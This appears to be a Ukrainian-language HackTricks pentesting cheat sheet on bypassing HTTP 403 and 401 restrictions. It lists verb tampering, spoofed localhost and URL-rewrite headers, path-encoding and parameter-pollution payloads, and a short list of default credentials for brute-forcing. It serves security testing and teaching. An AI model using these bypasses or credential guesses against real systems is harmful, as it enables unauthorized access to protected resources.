7.6 KiB
Raw Blame History

403 & 401 Bypasses

{{#include ../../banners/hacktricks-training.md}}

HTTP Verbs/Methods Fuzzing

Спробуйте використовувати різні дієслова для доступу до файлу: GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE, PATCH, INVENTED, HACK

  • Перевірте заголовки відповіді, можливо, можна отримати якусь інформацію. Наприклад, 200 відповідь на HEAD з Content-Length: 55 означає, що дієслово HEAD може отримати інформацію. Але вам все ще потрібно знайти спосіб ексфільтрувати цю інформацію.
  • Використання HTTP заголовка, такого як X-HTTP-Method-Override: PUT, може переписати використане дієслово.
  • Використовуйте TRACE дієслово, і якщо вам пощастить, можливо, у відповіді ви також зможете побачити заголовки, додані проміжними проксі, які можуть бути корисними.

HTTP Headers Fuzzing

  • Змініть заголовок Host на деяке довільне значення (це спрацювало тут)

  • Спробуйте використати інші User Agents для доступу до ресурсу.

  • Fuzz HTTP заголовки: спробуйте використовувати HTTP Proxy заголовки, HTTP Authentication Basic та NTLM brute-force (лише з кількома комбінаціями) та інші техніки. Для цього я створив інструмент fuzzhttpbypass.

  • X-Originating-IP: 127.0.0.1

  • X-Forwarded-For: 127.0.0.1

  • X-Forwarded: 127.0.0.1

  • Forwarded-For: 127.0.0.1

  • X-Remote-IP: 127.0.0.1

  • X-Remote-Addr: 127.0.0.1

  • X-ProxyUser-Ip: 127.0.0.1

  • X-Original-URL: 127.0.0.1

  • Client-IP: 127.0.0.1

  • True-Client-IP: 127.0.0.1

  • Cluster-Client-IP: 127.0.0.1

  • X-ProxyUser-Ip: 127.0.0.1

  • Host: localhost

Якщо шлях захищений, ви можете спробувати обійти захист шляху, використовуючи ці інші заголовки:

  • X-Original-URL: /admin/console

  • X-Rewrite-URL: /admin/console

  • Якщо сторінка за проксі, можливо, саме проксі заважає вам отримати доступ до приватної інформації. Спробуйте зловживати HTTP Request Smuggling або hop-by-hop заголовками.

  • Fuzz спеціальні HTTP заголовки, шукаючи різні відповіді.

  • Fuzz спеціальні HTTP заголовки під час fuzzing HTTP Methods.

  • Видаліть заголовок Host і, можливо, ви зможете обійти захист.

Path Fuzzing

Якщо /path заблоковано:

  • Спробуйте використовувати /%2e/path (якщо доступ заблоковано проксі, це може обійти захист). Спробуйте також /%252e**/path (подвійне кодування URL)
  • Спробуйте Unicode обхід: /%ef%bc%8fpath (кодування URL символів схоже на "/"), тому, коли його знову закодують, це буде //path і, можливо, ви вже обійшли перевірку назви /path
  • Інші обходи шляху:
  • site.com/secret > HTTP 403 Forbidden
  • site.com/SECRET > HTTP 200 OK
  • site.com/secret/ > HTTP 200 OK
  • site.com/secret/. > HTTP 200 OK
  • site.com//secret// > HTTP 200 OK
  • site.com/./secret/.. > HTTP 200 OK
  • site.com/;/secret > HTTP 200 OK
  • site.com/.;/secret > HTTP 200 OK
  • site.com//;//secret > HTTP 200 OK
  • site.com/secret.json > HTTP 200 OK (ruby)
  • Використовуйте весь цей список у наступних ситуаціях:
  • /FUZZsecret
  • /FUZZ/secret
  • /secretFUZZ
  • Інші обходи API:
  • /v3/users_data/1234 --> 403 Forbidden
  • /v1/users_data/1234 --> 200 OK
  • {“id”:111} --> 401 Unauthriozied
  • {“id”:[111]} --> 200 OK
  • {“id”:111} --> 401 Unauthriozied
  • {“id”:{“id”:111}} --> 200 OK
  • {"user_id":"<legit_id>","user_id":"<victims_id>"} (JSON Parameter Pollution)
  • user_id=ATTACKER_ID&user_id=VICTIM_ID (Parameter Pollution)

Parameter Manipulation

  • Змініть значення параметра: з id=123 --> id=124
  • Додайте додаткові параметри до URL: ?id=124 —-> id=124&isAdmin=true
  • Видаліть параметри
  • Переставте параметри
  • Використовуйте спеціальні символи.
  • Виконайте граничне тестування параметрів — надайте значення, такі як -234 або 0 або 99999999 (лише кілька прикладів).

Protocol version

Якщо ви використовуєте HTTP/1.1 спробуйте використовувати 1.0 або навіть перевірте, чи підтримує 2.0.

Other Bypasses

  • Отримайте IP або CNAME домену та спробуйте зв'язатися з ним безпосередньо.
  • Спробуйте навантажити сервер, надсилаючи звичайні GET запити (Це спрацювало для цього хлопця з Facebook).
  • Змініть протокол: з http на https, або з https на http
  • Перейдіть до https://archive.org/web/ і перевірте, чи був у минулому цей файл доступний у всьому світі.

Brute Force

  • Вгадайте пароль: протестуйте наступні загальні облікові дані. Чи знаєте ви щось про жертву? Або назву виклику CTF?
  • Brute force: спробуйте базову, digest та NTLM аутентифікацію.
admin    admin
admin    password
admin    1234
admin    admin1234
admin    123456
root     toor
test     test
guest    guest

Автоматичні інструменти

{{#include ../../banners/hacktricks-training.md}}